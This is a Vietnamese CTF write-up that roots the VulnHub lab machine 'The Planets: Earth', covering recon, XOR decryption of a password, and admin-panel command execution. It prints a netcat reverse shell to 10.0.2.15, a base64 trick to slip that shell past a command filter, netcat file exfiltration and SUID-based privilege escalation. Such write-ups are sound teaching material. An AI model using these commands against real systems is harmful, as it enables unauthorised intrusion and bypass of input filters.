Home The Planets: Earth Writeup - VulnHub
Post
Cancel

The Planets: Earth Writeup - VulnHub

Download THE PLANETS: EARTH

Level: Easy

Scanning

Tiến hành scan ip máy chủ mục tiêu

1
sudo netdiscover -i eth0 -r 10.0.2.0/24

scan ip

Target IP là 10.0.2.6. Tiến hành scan all ports:

1
nmap -sC -sV 10.0.2.6 -p- -A -T4

scan ports

Chúng ta có thể thấy có 3 port đang mở: 22, 80 và 443. Ngoài ra, phát hiện thêm có domain name earth.local và subdomain terratest.earth.local.

Truy cập ip máy chủ web cổng 80 và 443 thấy không có gì đặc biệt. Nhưng từ ssl certificate ta khai được ở trên, có thể thêm 2 entries này vào /etc/hosts và truy cập.

1
echo "10.0.2.6 earth.local" >> /etc/hosts && echo "10.0.2.6 terratest.earth.local" >> /etc/hosts

add hostname

earth.local

terratest.earth.local

Enumeration

Ở trang earth.local phía dưới có 4 dòng message đã được encrypted, liệu có gì ẩn ý trong đây. Vẫn chưa tìm thấy đủ thông tin nên ta tiếp tục khai thác, tiến hành enumerate directories ở cả 2 domain.

terratest enumeration

earth enumeration

Ta tìm được trang admin login và 1 trang robots.txt. Truy cập https://terratest.earth.local/robots.txt xem thu thập được manh mối nào không.

robots.txt

Enum các extension cho file này, cuối cùng nhận được response 200 từ testingnotes.txt.

testingnotes

Từ notes trên ta có thể xác định được rằng thuật toán mã hóa message sử dụng XOR, và nội dung file testdata.txt có thể là key. Ngoài ra, xác định được username của admin là terra.

testdata

Ném từng cái encrypted message vào XOR với key (nội dung file testdata.txt trên).

decode message

=> Thu được 1 chuỗi lặp lại “earthclimatechangebad4humans”. Dùng chuỗi này làm password cho user terra để đăng nhập trang /admin

admin

Login admin thành công! Tại đây có thể chạy câu lệnh từ input và click Run command sẽ trả về kết quả.

1
find / -name 'user_flag.txt' -exec cat {} \;

user_flag.txt

User Flag: [user_flag_3353b67d6437f07ba7d34afd7d2fc27d]

RCE

Tạo 1 listener trên port 9005

1
nc -nlvp 9005

Thử spawn reverse shell nc 10.0.2.15 9005 -e /bin/bash.

remote forbidden

Bị forbidden ư? Làm thế nào để bypass đây. Chợt nhớ ra ta có thể bypass kí tự đặc biệt bằng cách encode base64 câu lệnh, decode và đồng thời đưa nó vào shell thực thi thông qua pipeline |.

1
2
3
┌──(kali㉿kali)-[~]
└─$ echo "nc 10.0.2.15 9005 -e /bin/bash" | base64
bmMgMTAuMC4yLjE1IDkwMDUgLWUgL2Jpbi9iYXNoCg==

Spawn Reverse Shell

1
echo "bmMgMTAuMC4yLjE1IDkwMDUgLWUgL2Jpbi9iYXNoCg==" | base64 -d | bash

remote forbidden

RCE thành công! Nhiệm vụ tiếp theo là leo root và tìm root flag.

Privilege Escalation

apache là user hiện tại, mục tiêu của chúng ta là leo lên quyền cao nhất - root.

Đầu tiên, liệt kê tất cả các file có suid

1
find / -perm -u=s 2>/dev/null

find-suid-perm

Check thấy 1 file lạ reset_root, nhìn cũng có vẻ hấp dẫn

Phân tích thấy đây là 1 file thực thi và có chức năng reset password cho root.

analyze-reset-root

Chạy thử và bị failed

run-reset-root

Để phân tích được rõ ràng hơn, ta sẽ sử dụng ltrace.

Nhưng trước tiên phải truyền file reset_root về máy local để phân tích. Searching 1 lúc thấy netcat có thể làm được điều này. Đọc thêm tại đây

Tại máy local

1
nc -l -p 1234 -q 1 > reset_root < /dev/null

Tại máy gửi

1
cat /usr/bin/reset_root | netcat 10.0.2.15 1234

Sau khi transfer thành công, thêm quyền thực thi và dùng ltrace phân tích ta thu được:

ltrace-reset-root

Hóa ra là máy chủ chỉ kiểm tra các file mình khoanh đỏ ở trên có tồn tại hay không thôi, nếu tồn tại, các câu lệnh phía dưới sẽ được thực thi, và mật khẩu root sẽ được reset về Earth.

Giờ quay lại máy chủ mục tiêu và tạo các file đó, sau đó chạy lại file thực thi.

reset-root-successfully

Quào, su root với password là Earth và get root flag thoaiii

root-flag

Root Flag: [root_flag_b0da9554d29db2117b02aa8b66ec492e]

This post is licensed under CC BY 4.0 by the author.

The Planets: Mercury Writeup - VulnHub

Pwned 1 Writeup - VulnHub